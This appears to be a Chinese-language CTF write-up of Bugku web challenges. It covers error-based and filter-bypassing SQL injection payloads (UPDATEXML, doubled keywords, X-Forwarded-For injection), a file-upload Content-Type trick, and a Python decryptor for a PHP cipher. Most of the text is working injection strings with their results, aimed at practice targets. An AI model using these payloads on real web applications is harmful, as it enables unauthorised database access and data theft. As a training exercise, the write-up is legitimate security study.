go on,今天务必搞定web
Content-Type: multipart/form-data;
被过滤,可以考虑Content-Type: Multipart/form-data;
‘ OR UPDATEXML(1,CONCAT(‘~‘,(database()),‘~‘),3)OR ‘
,利用的是UPDATEXML第二个参数需要是Xpath格式,用CONCAT连接不是Xpath格式的符号~达到报错目的,~的ascii码是0x7e,可以用这个替代前式子中的‘~‘;https://ctf.bugku.com/challenges#细心
.htaccess
,是php的配置文件,用来自定义404等等其他操作,访问试试,很好,我们得到了默认的404??resusl.php
resusl.php?x=admin
,万万没想到就进去了,不管给了flagflag(ctf_0098_lkji-s)
,还给了所以访问IP,太狠了??https://ctf.bugku.com/challenges#求getshell
multipart/form-data;
,出题人为啥要过滤这个……还有就是怎么发现的他存在这个过滤,纯靠猜测么……并且这个题,你只要上传成功文件就给了flag,KEY{bb35dc123820e}
,这题没搞明白什么思路……https://ctf.bugku.com/challenges#INSERT%20INTO注入
error_reporting(0);
function getIp(){
$ip = ‘‘;
if(isset($_SERVER[‘HTTP_X_FORWARDED_FOR‘])){ //获取X-Forwarded-For或者Remote_Addr的值
$ip = $_SERVER[‘HTTP_X_FORWARDED_FOR‘];
}else{
$ip = $_SERVER[‘REMOTE_ADDR‘];
}
$ip_arr = explode(‘,‘, $ip); // 以,为分割,把ip分割为数组
return $ip_arr[0]; //返回第一个ip,也就是客户机ip
}
$host="localhost";
$user="";
$pass="";
$db="";
$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");
mysql_select_db($db) or die("Unable to select database");
$ip = getIp();
echo ‘your ip is :‘.$ip;
$sql="insert into client_ip (ip) values (‘$ip‘)"; // 注入点,我们可以通过X-Forwarded-For来提供一个假的ip,从而进行注入,这里没有任何过滤。
mysql_query($sql);
INSERT INTO table(a,b) VALUES(‘qwk‘ OR UPDATEXML(1,CONCAT(‘~‘,(database()),‘~‘),3)OR ‘‘)
,这个地方不可以使用,因为这个式子包含了逗号,但是源代码对逗号进行了过滤(用逗号作标志分割了输入),有没有什么办法能不用逗号?1’ and if(length(database())=1,sleep(5),1) #
,1’ and if(ascii(substr(database(),1,1))>97,sleep(5),1) #
,这中间也有逗号,所以,我们要找一个没有逗号的方法来代替if语句和substr语句。
https://ctf.bugku.com/challenges#这是一个神奇的登陆框
https://ctf.bugku.com/challenges#多次
1ndex.php?id=1
1‘
,输出错误;1‘%23
,输出正确,确实存在sql注入;1‘ ORDER BY 1 %23
,输出错误,可能存在过滤;0‘ ^(1) %23
,输出错误;0‘ ^(0) %23
,输出正确,说明可以用来测试过滤;1‘ ^(length(‘select‘)=0) %23
,输出错误,说明select被过滤(输出结果是错误说明最终结果是0,1与1异或后为0,所以括号中结果为true,也就是说长度为0,也就是被过滤了)1‘ ^(length(‘selecselectt‘)=0) %23
,输出正确,说明可以用复写来绕过!SELECT、WHERE、FROM、OR、UNION
被过滤掉的有SELECT、OR、UNION
0‘ UNIOunionN SELECselectT 1,2%23
,输出正确,得到显示位置;0‘ UNIOunionN SELECselectT 1,(database()) %23
,得到数据库名web1002-1
0‘ UNIOunionN SELECselectT 1,(SELECselectT GROUP_CONCAT(table_name) FROM infoorrmation_schema.tables WHERE table_schema=‘web1002-1‘) %23
,得到表名flag1,hint
,这里注意information中有or,所以要进行复写绕过;0‘ UNIOunionN SELECselectT 1,(SELECselectT GROUP_CONCAT(column_name) FROM infoorrmation_schema.columns WHERE table_name=‘flag1‘) %23
,得到表flag1下列名flag1,address
;0‘ UNIOunionN SELECselectT 1,(SELECselectT GROUP_CONCAT(address) FROM flag1) %23
,address中发现下一关地址./Once_More.php
,flag1表中没有有用信息;1‘ AND UPDATEXML(1,(CONCAT(‘~‘,(database()),‘~‘)),3)%23
,得到数据库名web1002-2
1‘ AND UPDATEXML(1,(CONCAT(‘~‘,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=‘web1002-2‘ ),‘~‘)),3)%23
,得到表名class,flag2
1‘ AND UPDATEXML(1,(CONCAT(‘~‘,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name=‘flag2‘ ),‘~‘)),3)%23
,得到表flag2的列名flag2,address
1‘ AND UPDATEXML(1,(CONCAT(‘~‘,(SELECT GROUP_CONCAT(flag2) FROM flag2),‘~‘)),3)%23
,得到flag2中内容为flagflag{Bugku-sql_6s-2i-4t-bug}
1‘ AND UPDATEXML(1,(CONCAT(‘~‘,(SELECT GROUP_CONCAT(address) FROM flag2),‘~‘)),3)%23
,得到下一关地址./Have_Fun.php
,干就完了??X-Forwarded-For: 192.168.0.100
后,得到一个二维码,扫一扫得到你……你……你可以看到我? 好吧,我来自于ErWeiMa.php 顺便告诉你两个密码 one:参数名是game; tow:flag在admin里 对了,文件后@…c=Y
https://ctf.bugku.com/challenges#PHP_encrypt_1(ISCCCTF)
<?php
function encrypt($data,$key)
{
$key = md5(‘ISCC‘); // 密钥
$x = 0;
$len = strlen($data);
$klen = strlen($key);
for ($i=0; $i < $len; $i++) { //把key重复相加成和data一样长
if ($x == $klen)
{
$x = 0;
}
$char .= $key[$x];
$x+=1;
}
for ($i=0; $i < $len; $i++) { // 核心算法,data和key每位ascii相加取余再ascii得到结果
$str .= chr((ord($data[$i]) + ord($char[$i])) % 128);
}
return base64_encode($str); // base64后输出
}
?>
#!/usr/bin/env python 3.8
# -*- encoding: utf-8 -*-
#fileName : decry.py
#createTime: 2020/09/19 22:10:49
#author : 乔悟空
#purpose : 此脚本用于针对特定加密方式解密
import base64
import hashlib
miwen = "fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA="
miwen = base64.b64decode(miwen).decode()
print(miwen)
key = hashlib.md5(‘ISCC‘.encode()).hexdigest()
print(key)
char = ‘‘
x = 0
for i in range(len(miwen)):
if x == len(key):
x = 0
char += key[x]
x += 1
print(char)
res = ‘‘
for i in range(len(miwen)):
for j in range(2):
tem = 128*j+ord(miwen[i])-ord(char[i])
if tem<33 or tem ==127:
pass
else:
res += chr(tem)
print(+res)
Flag:{asdqwdfasfdawfefqwdqwdadwqadawd}
https://ctf.bugku.com/challenges#文件包含2
https://ctf.bugku.com/challenges#flag.php
原文:https://www.cnblogs.com/qiaowukong/p/13698042.html